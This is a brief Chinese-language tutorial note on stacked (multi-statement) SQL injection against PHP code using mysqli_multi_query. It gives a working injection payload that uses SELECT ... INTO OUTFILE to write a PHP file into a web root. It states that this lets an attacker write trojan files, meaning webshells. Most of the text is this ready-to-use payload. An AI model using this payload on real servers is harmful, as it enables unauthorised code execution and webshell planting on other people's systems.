sql注入之堆叠（多语句注入）

条件

源代码使用musqli_multi_quiery();多语句查询函数，即可一次执行多条sql语句

语句

?id=1’;select “<?php phpinfo(); ?>” into outfile “D:\PHPKFGJ\phpstudy\PHPTutorial\WWW\213.php”-- -

效果

该目录下写入了213.php文件，可由此写入一些木马文件